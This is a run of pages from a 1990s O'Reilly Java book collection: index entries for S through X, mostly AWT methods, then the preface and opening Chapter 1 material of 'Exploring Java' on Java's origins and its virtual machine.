setCaretPosition( )
TextComponent Methods
IllegalComponentStateException
setCheckboxGroup( ) : Checkbox Methods
setClip( ) : Graphics Methods
setColFraction( ) : VariableGridLayout
setColor( ) : Graphics Methods
setColorModel( )
ImageConsumer interface : ImageConsumer Interface
ImageFilter class : ImageFilter Methods
PixelGrabber class : PixelGrabber
RGBImageFilter class : RGBImageFilter
setColumns( )
GridLayout layout : GridLayout Methods
TextArea class : TextArea Methods
TextField class : TextField Methods
setConstraints( ) : GridBagLayout Methods
setContents( ) : Clipboard Methods
setCurrent( ) : CheckboxGroup Methods
setCursor( )
Component class : Component Methods
Frame class : Frame Methods
setDimensions( )
CropImageFilter class : CropImageFilter
ImageConsumer interface : ImageConsumer Interface
ImageFilter class : ImageFilter Methods
PixelGrabber class : PixelGrabber
ReplicateScaleFilter class : ReplicateScaleFilter
setDirectory( ) : FileDialog Methods
setEchoChar( ) : TextField Methods
setEchoCharacter( ) : TextField Methods
setEditable( ) : TextComponent Methods
setEnabled( )
Container class : Component Methods
MenuItem class : MenuItem Methods
setFile( ) : FileDialog Methods
setFilenameFilter( ) : FileDialog Methods
setFont( )
Component class : Component Methods
Graphics class : Graphics Methods
MenuComponent class : MenuComponent Methods
setForeground( ) : Component Methods
setFullBufferUpdates( ) : MemoryImageSource
setHelpMenu( ) : MenuBar Methods
setHgap( )
BorderLayout layout : BorderLayout Methods
CardLayout layout : CardLayout Methods
FlowLayout layout : FlowLayout Methods
GridLayout layout : GridLayout Methods
setHints( )
AreaAveragingScaleFilter class : AreaAveragingScaleFilter
ImageConsumer interface : ImageConsumer Interface
ImageFilter class : ImageFilter Methods
PixelGrabber class : PixelGrabber
setHumanPresentableName( ) : DataFlavor Methods
setIconImage( ) : Frame Methods
setKeyCode( ) : KeyEvent
setLabel( )
Button class : Button Methods
Checkbox component : Checkbox Methods
MenuItem class : MenuItem Methods
setLayout( )
Container class : Container Methods
ScrollPane container : ScrollPane Methods
setLineIncrement( ) : Scrollbar Methods
setLocale( ) : Component Methods
setLocation( )
Component class : Component Methods
Point class : Point Methods
Rectangle class : Rectangle Methods
setMaximum( )
Adjustable interface : Methods of the Adjustable Interface
Scrollbar class : Scrollbar Methods
setMenuBar( ) : Frame Methods
setMinimum( )
Adjustable interface : Methods of the Adjustable Interface
Scrollbar class : Scrollbar Methods
setModal( ) : Dialog Constructors and Methods
setMode( ) : FileDialog Methods
setModifiers( ) : KeyEvent
setMultipleMode( ) : List Methods
setMultipleSelections( ) : List Methods
setName( ) : Component Methods
setOrientation( )
Adjustable interface : Methods of the Adjustable Interface
Scrollbar class : Scrollbar Methods
setPageIncrement( ) : Scrollbar Methods
setPaintMode( ) : Graphics Methods
setPixels( )
AreaAveragingScaleFilter class : AreaAveragingScaleFilter
CropImageFilter class : CropImageFilter
ImageConsumer interface : ImageConsumer Interface
ImageFilter class : ImageFilter Methods
PixelGrabber class : PixelGrabber
ReplicateScaleFilter class : ReplicateScaleFilter
RGBImageFilter class : RGBImageFilter
setProperties( )
CropImageFilter class : CropImageFilter
ImageConsumer interface : ImageConsumer Interface
ImageFilter class : ImageFilter Methods
PixelGrabber class : PixelGrabber
ReplicateScaleFilter class : ReplicateScaleFilter
setResizable( )
Dialog class : Dialog Constructors and Methods
Frame classM : Frame Methods
setRowFraction( ) : VariableGridLayout
setRows( )
GridLayout layout : GridLayout Methods
TextArea class : TextArea Methods
setScrollPosition( ) : ScrollPane Methods
setSelectedCheckbox( ) : CheckboxGroup Methods
setSelectionEnd( ) : TextComponent Methods
setSelectionStart( ) : TextComponent Methods
setShortcut( ) : MenuItem Methods
setSize( )
Component class : Component Methods
Dimension class : Dimension Methods
Rectangle class : Rectangle Methods
setState( )
Checkbox component : Checkbox Methods
CheckboxMenuItem class : CheckboxMenuItem Methods
setStub( ) : Applet Methods
setText( ) : Label Methods
TextComponent class : TextComponent Methods
setTitle( ) : Frame Methods
Dialog class : Dialog Constructors and Methods
setUnitIncrement( ) : Scrollbar Methods
Adjustable interface : Methods of the Adjustable Interface
setValue( )
Adjustable interface : Methods of the Adjustable Interface
Scrollbar class : Scrollbar Methods
setValues( ) : Scrollbar Methods
setVgap( )
BorderLayout layout : BorderLayout Methods
CardLayout layout : CardLayout Methods
FlowLayout layout : FlowLayout Methods
GridLayout layout : GridLayout Methods
setVisible( ) : Component Methods
setVisibleAmount( )
Adjustable interface : Methods of the Adjustable Interface
Scrollbar class : Scrollbar Methods
setXORMode( ) : Graphics Methods
shadow colors
Color Methods
SystemColor Methods
Displaying Colors
shapes : Graphics Methods
checkboxes : Checkbox Methods
of cursors
Cursor Constants
Frame Constants
polygons
Graphics Methods
Polygon
Polygon
rectangles (see rectangles)
Shape interface
Shape
Shape (New)
Shift key (see modifiers)
shiftDown( ) : Event Methods
shortcuts( ) : MenuBar Methods
shortcuts, menu
MenuShortcut
MenuBar Methods
MenuShortcut (New)
show( )
CardLayout layout : CardLayout Methods
Component class : Component Methods
Dialog class : Dialog Constructors and Methods
PopupMenu class : PopupMenu Methods
Window class : Window Methods
showDocument( ) : AppletContext Interface
showing, component : Component Methods
showStatus( )
Applet class : Applet Methods
AppletContext interface : AppletContext Interface
single-line input (see text, TextField class)
SINGLEFRAME constant : ImageConsumer Interface
SINGLEFRAMEDONE constant : ImageConsumer Interface
SINGLEPASS constant : ImageConsumer Interface
size
applets
Applet Methods
AppletStub Interface
audio data length : AudioStream
color map : IndexColorModel
components
Container Methods
Methods of the LayoutManager Interface
cropping images : CropImageFilter
Dimension class for : Dimension Methods
font
Fonts
The Font Class
character width : The FontMetrics Class
font height : The FontMetrics Class
HEIGHT, WIDTH parameters (<APPLET> tag) : The Applet Tag
image
Image Methods
ImageObserver Interface
ImageConsumer Interface
image data : PixelGrabber
line width : Graphics Methods
monitor (screen) : Toolkit Methods
objects, components for : Component Methods
pixel : ColorModel Methods
rectangle
Rectangle Methods
scrollbars : ScrollPane Methods
string length in pixels : The FontMetrics Class
text input objects : TextField Methods
SizedTextField class (example) : Extending TextField
SOMEBITS constant : ImageObserver Interface
sources, image : A Brief Tour of sun.awt.image
start( )
Applet class : Applet Methods
AudioPlayer class : AudioPlayer
startGrabbing( ) : PixelGrabber
startProduction( )
FilteredImageSource class : FilteredImageSource
ImageProducer interface : ImageProducer Interface
MemoryImageSource class : MemoryImageSource
state
checkbox : Checkbox Methods
checkbox menu items : CheckboxMenuItem Methods
component : Component Methods
STATICIMAGEDONE constant : ImageConsumer Interface
status
applet
Applet Methods
AppletStub Interface
browser status line
Applet Methods
AppletContext Interface
image grabbing : PixelGrabber
loading
MediaTracker Methods
ImageObserver Interface
Toolkit Methods
status( ) : PixelGrabber
statusAll( ) : MediaTracker Methods
statusID( ) : MediaTracker Methods
stop( )
Applet class : Applet Methods
AudioClip interface : AudioClip Interface
AudioPlayer class : AudioPlayer
strings
Graphics Methods
pixel length of : The FontMetrics Class
StringSelection class
StringSelection
StringSelection (New)
toString( ) (see toString( ))
stringWidth( ) : The FontMetrics Class
style, font (see fonts)
substituteColorModel( ) : RGBImageFilter
sun.awt package, layouts from : The sun.awt Layout Collection
sync( ) : Toolkit Methods
synchronization
containers and : Container Methods
image grabbing and : PixelGrabber
SystemColor class
SystemColor
SystemColor (New)

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

T

target, event
Identifying the Target
Variables
text
color of
SystemColor Methods
inserting with carets : TextComponent Methods
read-only : TextComponent Methods
selecting with mouse : TextComponent Methods
style of (see fonts)
text strings : Graphics Methods
TextArea class
The TextField and TextArea classes
TextArea
TextArea
TextAreaPeer interface : TextAreaPeer
TextComponent class
Text Component
TextComponent
TextComponentPeer interface : TextComponentPeer
TextEvent class
TextEvent
TextEvent (New)
TextField class
The TextField and TextArea classes
TextField
Extending TextField
TextField
TextFieldPeer interface : TextFieldPeer
TextListener interface
TextListener
TextListener (New)
TEXT_ constants : TextEvent
textHighlight color : SystemColor Methods
textHighlightText color : SystemColor Methods
textInactiveText color : SystemColor Methods
textText color : SystemColor Methods
textValueChanged( ) : TextListener
themes, color : SystemColor
threads, animation and : Simple Animation
throwing errors/exceptions (see errors; exceptions)
time and date
of events
Variables
InputEvent
pause between image repaints : Component Methods
toBack( ) : Window Methods
toFront( ) : Window Methods
Toolkit( ) : Toolkit Methods
Toolkit class
Toolkit
Toolkit
TOPDOWNLEFTRIGHT constant : ImageConsumer Interface
TOP_ALIGNMENT constant : Component Methods
toString( )
AWTEvent class : AWTEvent
BorderLayout layout : BorderLayout Methods
CardLayout layout : CardLayout Methods
CheckboxGroup class : CheckboxGroup Methods
Color class : Color Methods
Component class : Component Methods
Dimension class : Dimension Methods
Event method : Event Methods
FlowLayout layout : FlowLayout Methods
Font class : The Font Class
FontMetrics class : The FontMetrics Class
Graphics class : Graphics Methods
GridBagLayout layout : GridBagLayout Methods
GridLayout layout : GridLayout Methods
HorizBagLayout layout : HorizBagLayout
Insets class : Insets Methods
MenuComponent class : MenuComponent Methods
MenuShortcut class : MenuShortcut Methods
OrientableFlowLayout layout : OrientableFlowLayout
Point class : Point Methods
Rectangle class : Rectangle Methods
SystemColor class : SystemColor Methods
VariableGridLayout layout : VariableGridLayout
VerticalBagLayout layout : VerticalBagLayout
TRACK constant : AdjustmentEvent
Transferable interface
Transferable Interface
Transferable (New)
transferFocus( ) : Component Methods
translate( )
Event method : Event Methods
Graphics class : Graphics Methods
Point class : Point Methods
Rectangle class
Rectangle Methods
Polygon Methods
translatePoint( ) : MouseEvent
transparency : Graphics Methods

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

U

UndefinedProperty constant : Image Methods
underlining : The Font Class
union( ) : Rectangle Methods
UNIT_ constants : AdjustmentEvent
UnsupportedFlavorException exception
UnsupportedFlavorException
UnsupportedFlavorException (New)
update( ) : Simple Animation
Component class
Graphics
Component Methods
UPDATE constant : PaintEvent
URLImageSource class : A Brief Tour of sun.awt.image
URLs, special : AppletContext Interface
user groups, Java : Other Java Books and Resources
useShiftModifier( ) : MenuShortcut Methods
UUCP, obtaining examples by : UUCP

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

V

validate( )
Component class : Component Methods
Container class : Container Methods
validateTree( ) : Container Methods
validity, component : Component Methods
VALUE parameter (<PARAM> tag) : The Applet Tag
VariableGridLayout layout : VariableGridLayout
versions
AWT
Preface
Abstract Window Toolkit Overview
Java : Preface
vertical
alignment (see alignment)
font height : The FontMetrics Class
gaps (see gap settings)
scrollbars (see scrolling)
size (see size)
VerticalBagLayout layout : VerticalBagLayout
visibility
component : Component Methods
list items : List Methods
scrollbar
TextArea Methods
Scrollbar Methods
Methods of the Adjustable Interface
VK_ constants : KeyEvent
VSPACE parameter (<APPLET> tag) : The Applet Tag

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

W

waitForAll( ) : MediaTracker Methods
waitForID( ) : MediaTracker Methods
Web browsers (see browsers)
when variable : Variables
width (see size)
WIDTH parameter (<APPLET> tag) : The Applet Tag
Window( ) : Window Methods
WINDOW_ constants : WindowEvent
Window container : Windows
windowActivated( ) : WindowListener and WindowAdapter
windowBorder color : SystemColor Methods
windowClosed( ) : WindowListener and WindowAdapter
windowClosing( )
Constants
WindowListener and WindowAdapter
windowDeactivated( ) : WindowListener and WindowAdapter
windowDeiconified( )
Constants
WindowListener and WindowAdapter
WindowEvent( ) : WindowEvent
windowIconified( )
Constants
WindowListener and WindowAdapter
windowOpened( ) : WindowListener and WindowAdapter
windowOpening( ) : Constants
windows
Windows
Window
Building a New Component from a Window
BorderLayout layout for
BorderLayout
BorderLayout
BorderLayout
colors for : SystemColor Methods
Window class
Window Methods
Window
window events : Constants
WindowAdapter class : WindowAdapter (New)
WindowEvent class
WindowEvent
WindowEvent (New)
WindowListener interface
WindowListener and WindowAdapter
WindowListener (New)
WindowPeer interface : WindowPeer

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

X

XOR mode : Graphics Methods

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Preface

Contents:
The Past Year
Audience
Using This Book
Getting Wired
Conventions Used in This Book
Acknowledgments

This book is about the Java language and programming environment. If you've been at all active on the Internet in the past year, you've heard a lot about Java. It's one of the most exciting developments in the history of the Internet, rivaling the creation of the World Wide Web. Java became the darling of the Internet programming community as soon as the alpha version was released. Immediately, thousands of people were writing Java applets to add to their Web pages. Interest in Java only grew with time, and support for Java in Netscape Navigator guaranteed it would be a permanent part of the Net scene.

What, then, is Java? Java is a language for network programming that was developed by Sun Microsystems. It's already in widespread use for creating animated Web pages. However, this is only the start. The Java language and environment are rich enough to support entirely new kinds of applications, like dynamically extensible browsers. There has been talk about new kinds of computer platforms (Java terminals or Java pads) that download all their software over the network. In the coming years, we'll see what Java is capable of doing; fancy Web pages are fun and interesting, but they certainly aren't the end of the story. If Java is successful (and that isn't a foregone conclusion), it could change the way we think about computing in fundamental ways.

This book sets out to give you a head start on a lot of Java fundamentals. Exploring Java attempts to live up to its name by mapping out the Java language, its class libraries, programming techniques, and idioms. We'll dig deep into interesting areas, and at least scratch the surface of the rest. Other titles in the O'Reilly & Associates Java series will pick up where we leave off and provide more comprehensive information on specific areas and applications of Java.

Whenever possible, we'll provide meaningful, realistic examples and avoid simply cataloging features. The examples are simple but hint at what can be done. We won't be developing the next great "killer Internet app" in these pages, but we hope to give you a starting point for many hours of experimentation and tinkering that will lead you to learn more on your own.

The Past Year

A lot has happened in the year since the first edition of this book. We're now up to release 1.1.1 of Java, which has many more features than the 1.0 release. Java 1.1 adds many, many new features, in addition to many extensions to the features of Java 1.0. It's clear that Java is changing the way we think about computing in fundamental ways; we don't regret that prophecy at all. It's becoming more and more clear as time goes on that Java is central to the way software will be written in the future.

This edition of Exploring Java tries to give you the flavor of Java 1.1. With a few exceptions, we have uncompromisingly rooted out all deprecated features from Java 1.0. For example, the chapters covering AWT all use the new event model; we don't even mention the 1.0 event model. The new event model is far and away superior to the old one; there's no need for nostalgia. The one section in which we allowed ourselves to use deprecated features was the chapter covering Networking. In the best of all possible worlds, you would write your clients and servers to work with Unicode character streams, using Java's Reader and Writer classes. But this isn't the best of all possible worlds, and most software still uses byte-oriented ASCII. There's no sense in touting a language designed for portability if programs written in that language would have difficulty talking to older clients and servers around the net. So we cut ourselves some slack where network I/O streams are concerned.

We wish we could say that this was "the second edition" of our book. But that would be a lie. Actually, this is edition 1.9 (well, more like 1.78). We have updated everything in the first edition to reflect the best current practice, and we have added discussions of the most important new features. However, the deadline for the CD-ROM didn't let us finish a few things that we'd really like to add. In particular, the "real" second edition will have material on:

  • JavaBeans (Java's component architecture);

  • Signing classes, and configuring browsers to grant greater capabilities to signed applets;

  • RMI (Java's Remote Method Invocation facility).

We may add some more topics if we get to them. However, we also want to keep this book reasonably compact. It's our feeling that thousand page tutorials aren't much help. Furthermore, Java's growing so fast that we have to place limits somewhere: by the end of the year, there should be 2D, 3D, sound, commerce, and many other features available.

Home | Next
Book Index | Audience
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Audience

Previous Preface Next

Audience

This book is for computer professionals, students, technical people, and Finnish hackers. It's for everyone who has a need for hands-on experience with the Java language with an eye towards building real applications. This book could also be considered a crash course in object-oriented programming; as you learn about Java, you'll also learn a powerful and practical approach to object-oriented software development.

Superficially, Java looks like C or C++, so you'll be in the best position to use this book if you've some experience with one of these languages. If you do not, you might want to reference books like O'Reilly's Practical C Programming for a more thorough treatment of basic C syntax. However, don't make too much of the syntactic similarities between Java and C or C++. In many respects, Java acts like more dynamic languages such as Smalltalk and Lisp. Knowledge of another object-oriented programming language should certainly help, although you may have to change some ideas and unlearn a few habits. Java is considerably simpler than languages like C++ and Smalltalk.

Much of the interest in Java has centered around World Wide Web applets. Although we encourage you to take a broader view, you would have every right to be disappointed if we ignored the Web. Much of the book does discuss Java as a language for World Wide Web applications, so you should be familiar with the basic ideas behind Web browsers, servers, and Web documents.

Previous | Home | Next
The Past Year | Book Index | Using This Book
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Using This Book

Previous Preface Next

Using This Book

This book divides roughly into three sections:

  • Chapters 1 and 2 provide a basic introduction to Java concepts and a tutorial to give you a jump start on Java programming.

  • Chapters 3 through 6 discuss tools for working with Java (the compiler, the interpreter, HTML support, etc.) and the language itself. Chapter 6, Threads covers the language's thread facilities, which should be of particular interest to advanced programmers.

  • Chapters 7 through 14 discuss the class libraries. Chapter 7, Basic Utility Classes covers basic utilities; Chapter 8, Input/Output Facilities covers I/O facilities; Chapter 9, Network Programming covers networking; and Chapters 10 through 14 cover the Abstract Windowing Toolkit (AWT), which provides graphics and graphic user interface (GUI) support.

If you're like us, you don't read books from front to back. If you are really like us, you usually don't read the preface at all. However, on the off chance that you will see this in time, here are a few suggestions.

If you are an experienced programmer who has to learn Java in the next five minutes, you are probably looking for the examples. You might want to start by glancing at the tutorial in Chapter 2, A First Applet. If that doesn't float your boat, you should at least look at the information in Chapter 3, Tools of the Trade, which tells you how to use the compiler and interpreter, and gives you the basics of a standalone Java application. This should get you started.

Chapter 9, Network Programming is essential if you are interested in writing advanced networked applications. This is probably the most interesting and important part of Java. Unfortunately, we are still waiting for Sun to release a production version of HotJava, or for someone else to release a browser that implements all of Java's networking features.[1] Until then, you can still write interesting standalone applications that use the Net. Maybe you'll even write the browser we're waiting for.

[1] Just before this book went to press, Sun released a "pre-beta 1" version of HotJava. That's definitely good news, though the pre-beta version doesn't support downloadable content and protocol handlers. These are promised for the "real" beta release.

Chapters 13 and 14 discusses Java's graphics features. You will need to read this if you are interested in animation and other live displays.

Previous | Home | Next
Audience | Book Index | Getting Wired
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Getting Wired

Previous Preface Next

Getting Wired

There are many online sources for information about Java. Sun Microsystem's official Web site for Java topics is http://www.javasoft.com/; look here for the latest news, updates, and Java releases. www.javasoft.com is where you'll find the Java Developers Kit (JDK), which includes the compiler, the interpreter, and other tools. Another good source of Java information, including free applets, utility classes, and applications, is the Gamelan site, run by EarthWeb; its URL is http://www.gamelan.com.

You should also visit O'Reilly & Associates' Java site at http://www.ora.com/info/java. There you'll find information about other books in O'Reilly's Java series, and a pointer to the home page for Exploring Java, http://www.ora.com/catalog/expjava/, where you'll find the source code and examples for this book.

The comp.lang.java newsgroup can be a good source of information, announcements, and a place to ask intelligent questions.

Previous | Home | Next
Using This Book | Book Index | Conventions Used in This Book
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Conventions Used in This Book

Previous Preface Next

Conventions Used in This Book

The font conventions used in this book are quite simple.

Italic is used for:

  • UNIX pathnames, filenames, and program names

  • Internet addresses, such as domain names and URLs

  • New terms where they are defined

Boldface is used for:

  • Names of GUI buttons and menus

Typewriter Font is used for:

  • Anything that might appear in a Java program, including method names, variable names, and class names

  • Command lines and options that should be typed verbatim on the screen

  • Tags that might appear in an HTML document

In the main body of text, we always use a pair of empty parentheses after a method name to distinguish methods from variables and other creatures.

In the Java source listings, we follow the coding conventions most frequently used in the Java community. Class names begin with capital letters; variable and method names begin with lowercase. All the letters in the names of constants are capitalized. We don't use underscores to separate words in a long name; following common practice, we capitalize individual words (after the first) and run the words together. For example: thisIsAVariable, thisIsAMethod(), ThisIsAClass, and THISISACONSTANT.

Previous | Home | Next
Getting Wired | Book Index | Acknowledgments
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Acknowledgments

Previous Preface Next

Acknowledgments

Many people contributed to putting this book together under a schedule that became increasingly rushed as time passed. Thanks to their efforts, we gave birth to something we can all be proud of.

Foremost we would like to thank Tim O'Reilly for giving us the opportunity to write this book. Special thanks to Mike Loukides, the series editor, whose endless patience and experience got us through the difficult parts and to Paula Ferguson, whose organizational and editing abilities got the material into its final form. It's due largely to Mike and Paula's tireless efforts that this book has gotten to you as quickly as it has. We could not have asked for a more skillful or responsive team of people with whom to work.

Particular thanks are due to our technical reviewers: Andrew Cohen, Eric Raymond, and Lisa Farley. All of them gave thorough reviews that were invaluable in assembling the final draft. Eric contributed many bits of text that eventually found their way into the book.

Speaking of borrowings, the original version of the glossary came from David Flanagan's book, Java in a Nutshell. We also borrowed the class hierarchy diagrams from David's book. These diagrams were based on similar diagrams by Charles L. Perkins. His original diagrams are available at http://rendezvous.com/java/.

Thanks also to Marc Wallace and Steven Burkett for reading the book in progress. As for the crowd in St. Louis: a special thanks to LeeAnn Langdon of the Library Ltd. and Kerri Bonasch. Deepest thanks to Victoria Doerr for her patience and love. Finally, thanks for the support of the "lunch" crowd: Karl "Gooch" Stefvater, Bryan "Butter" O'Connor, Brian "Brian" Gottlieb, and the rest of the clan at Washington University.

Many people in O'Reilly's production and design groups contributed their blood, sweat, and tears to the project. Mary Anne Weeks Mayo was production editor and copy editor, and had the stress-filled job of working under a very tight deadline with chapters arriving asynchronously (which means at random and later than expected). Seth Maislin wrote the index, and Stephen Spainhour adapted David Flanagan's glossary for this book. Chris Reilley converted rough diagrams into professional technical illustrations. Erik Ray, Ellen Siever, and Lenny Muellner converted HTML files into SGML and made sure we could convert electrons into paper without mishap. Lenny also implemented a new design for this book, which was created by Nancy Priest. Hanna Dyer created the back cover; Edie Freedman designed the front cover.

Previous | Home | Next
Conventions Used in This Book | Book Index | Yet Another Language?
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] Yet Another Language?

Previous Chapter 1 Next

1. Yet Another Language?

Contents:
Enter Java
A Virtual Machine
Java Compared
Safety of Design
Safety of Implementation
Application and User Level Security
Java and the World Wide Web
Java as a General Application Language
A Java Road Map
Availability

The greatest challenges and most exciting opportunities for software developers today lie in harnessing the power of networks. Applications created today, whatever their intended scope or audience, will almost certainly be run on machines linked by a global network of computing resources. The increasing importance of networks is placing new demands on existing tools, and fueling the demand for a rapidly growing list of completely new kinds of applications.

We want software that works--consistently, anywhere, on any platform--and that plays well with other applications. We want dynamic applications that take advantage of a connected world, capable of accessing disparate and distributed information sources. We want truly distributed software that can be extended and upgraded seamlessly. We want intelligent applications--like autonomous agents that can roam the Net for us, ferreting out information and serving as electronic emissaries. We know, at least to some extent, what we want. So why don't we have it?

The problem has been that the tools for building these applications have fallen short. The requirements of speed and portability have been, for the most part, mutually exclusive, and security has largely been ignored or misunderstood. There are truly portable languages, but they are mostly bulky, interpreted, and slow. These languages are popular as much for their high level functionality as for their portability. And there are fast languages, but they usually provide speed by binding themselves to particular platforms, so they can meet the portability issue only half way. There are even a few recent safe languages, but they are primarily offshoots of the portable languages and suffer from the same problems.

1.1 Enter Java

The Java programming language, developed at Sun Microsystems under the guidance of Net luminaries James Gosling and Bill Joy, is designed to be a machine-independent programming language that is both safe enough to traverse networks and powerful enough to replace native executable code. Java addresses the issues raised here and may help us start building the kinds of applications we want.

Right now, most of the enthusiasm for Java stems from its capabilities for building embedded applications for the World Wide Web; these applications are called applets. This book will teach you how to build applets. But there is more to Java than applets, and I'll also try to show you the "more." The book will also show you how to use the tools of Java to accomplish real programming tasks, such as building networked applications and creating functional user interfaces. By the end of the book, you will be able to use these tools to build powerful Java applets and standalone applications.

Java's Origins

The seeds of Java were planted in 1990 by Sun Microsystems patriarch and chief researcher, Bill Joy. Since Sun's inception in the early '80s, it has steadily pushed one idea: "The network is the computer." At the time though, Sun was competing in a relatively small workstation market, while Microsoft was beginning its domination of the more mainstream, Intel-based PC world. When Sun missed the boat on the PC revolution, Joy retreated to Aspen, Colorado, to work on advanced research. He was committed to accomplishing complex tasks with simple software, and founded the aptly named Sun Aspen Smallworks.

Of the original members of the small team of programmers assembled in Aspen, James Gosling is the one who will be remembered as the father of Java. Gosling first made a name for himself in the early '80s as the author of Gosling Emacs, the first version of the popular Emacs editor that was written in C and ran under UNIX. Gosling Emacs became popular, but was soon eclipsed by a free version, GNU Emacs, written by Emacs's original designer. By that time, Gosling had moved on to design Sun's NeWS window system, which briefly contended with the X Window System for control of the UNIX graphic user interface (GUI) desktop in 1987. While some people would argue that NeWS was superior to X, NeWS lost out because Sun kept it proprietary and didn't publish source code, while the primary developers of X formed the X Consortium and took the opposite approach.

Designing NeWS taught Gosling the power of integrating an expressive language with a network-aware windowing GUI. It also taught Sun that the Internet programming community will refuse to accept proprietary standards, no matter how good they may be. The seeds of Java's remarkably permissive licensing scheme were sown by NeWS's failure. Gosling brought what he had learned to Bill Joy's nascent Aspen project, and in 1992, work on the project led to the founding of the Sun subsidiary, FirstPerson, Inc. Its mission was to lead Sun into the world of consumer electronics.

The FirstPerson team worked on developing software for information appliances, such as cellular phones and personal digital assistants (PDA). The goal was to enable the transfer of information and real-time applications over cheap infrared and packet-based networks. Memory and bandwidth limitations dictated small and efficient code. The nature of the applications also demanded they be safe and robust. Gosling and his teammates began programming in C++, but they soon found themselves confounded by a language that was too complex, unwieldy, and insecure for the task. They decided to start from scratch, and Gosling began working on something he dubbed "C++ minus minus."

With the floundering of the Apple Newton, it became apparent that the PDA's ship had not yet come in, so Sun shifted FirstPerson's efforts to interactive TV (ITV). The programming language of choice for ITV set-top boxes was the near ancestor of Java, a language called Oak. Even with its elegance and ability to provide safe interactivity, Oak could not salvage the lost cause of ITV. Customers didn't want it, and Sun soon abandoned the concept.

At that time, Joy and Gosling got together to decide on a new strategy for their language. It was 1993, and the explosion of interest in the Internet, and the World Wide Web in particular, presented a new opportunity. Oak was small, robust, architecture independent, and object oriented. As it happens, these are also the requirements for a universal, network-savvy programming language. Sun quickly changed focus, and with a little retooling, Oak became Java.

Future Buzz?

I don't think it's overdoing it to say that Java has caught on like wildfire. Even before its first official release, while Java was still a nonproduct, nearly every major industry player jumped on the Java bandwagon. Java licensees include Microsoft, Intel, IBM, and virtually all major hardware and software vendors.

As we begin looking at the Java architecture, you'll see that much of what is exciting about Java comes from the self-contained, virtual machine environment in which Java applications run. Java has been carefully designed so that this supporting architecture can be implemented either in software, for existing computer platforms, or in customized hardware, for new kinds of devices. Sun and other industry giants have announced their intentions to produce cheap, fast Java chips, the first of which should be available by the time you read this. Hardware implementations of Java could power inexpensive network terminals, PDAs, and other information appliances, to take advantage of transportable Java applications.

Many people see Java as part of a trend toward cheap, Net-based, "operating system-less" appliances that will extend the Net into more and more consumer-related areas. Only time will tell what people will do with Java, but it's probably worth at least a passing thought that the applet you write today might well be running on someone's wristwatch tomorrow. If that seems too futuristic, remember that you can already get a "smart card" (essentially a credit card) that has a Java interpreter embedded in it. Such a card could do everything from financial transactions (paying a hotel bill) to unlocking a door (the door to your hotel room) to rerouting phone calls (so your hotel room receives your business calls). The card is already here; it won't be long before the rest of the software has been built. A Java wristwatch is certainly not far away.

Previous | Home | Next
Acknowledgments | Book Index | A Virtual Machine
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.2 A Virtual Machine

Previous Chapter 1
Yet Another Language? 		Next

1.2 A Virtual Machine

Java is both a compiled and an interpreted language. Java source code is turned into simple binary instructions, much like ordinary microprocessor machine code. However, whereas C or C++ source is refined to native instructions for a particular model of processor, Java source is compiled into a universal format--instructions for a virtual machine.

Compiled Java byte-code, also called J-code, is executed by a Java run-time interpreter. The run-time system performs all the normal activities of a real processor, but it does so in a safe, virtual environment. It executes the stack-based instruction set and manages a storage heap. It creates and manipulates primitive data types, and loads and invokes newly referenced blocks of code. Most importantly, it does all this in accordance with a strictly defined open specification that can be implemented by anyone who wants to produce a Java-compliant virtual machine. Together, the virtual machine and language definition provide a complete specification. There are no features of Java left undefined or implementation dependent. For example, Java specifies the sizes of all its primitive data types, rather than leave it up to each implementation.

The Java interpreter is relatively lightweight and small; it can be implemented in whatever form is desirable for a particular platform. On most systems, the interpreter is written in a fast, natively compiled language like C or C++. The interpreter can be run as a separate application, or it can be embedded in another piece of software, such as a Web browser.

All of this means that Java code is implicitly portable. The same Java application can run on any platform that provides a Java run-time environment, as shown in Figure 1.1. You don't have to produce alternate versions of your application for different platforms, and you never have to distribute source code to end users.

Figure 1.1: Java virtual machine environment

[Graphic: Figure 1-1]

The fundamental unit of Java code is the class. As in other object-oriented languages, classes are application components that hold executable code and data. Compiled Java classes are distributed in a universal binary format that contains Java byte-code and other class information. Classes can be maintained discretely and stored in files or archives on a local system or on a network server. Classes are located and loaded dynamically at run-time, as they are needed by an application.

In addition to the platform-specific run-time system, Java has a number of fundamental classes that contain architecture-dependent methods. These native methods serve as Java's gateway to the real world. These methods are implemented in a native language on the host platform. They provide access to resources such as the network, the windowing system, and the host filesystem. The rest of Java is written entirely in Java, and is therefore portable. This includes fundamental Java utilities like the Java compiler, which is also a Java application and is therefore immediately available on all Java platforms.

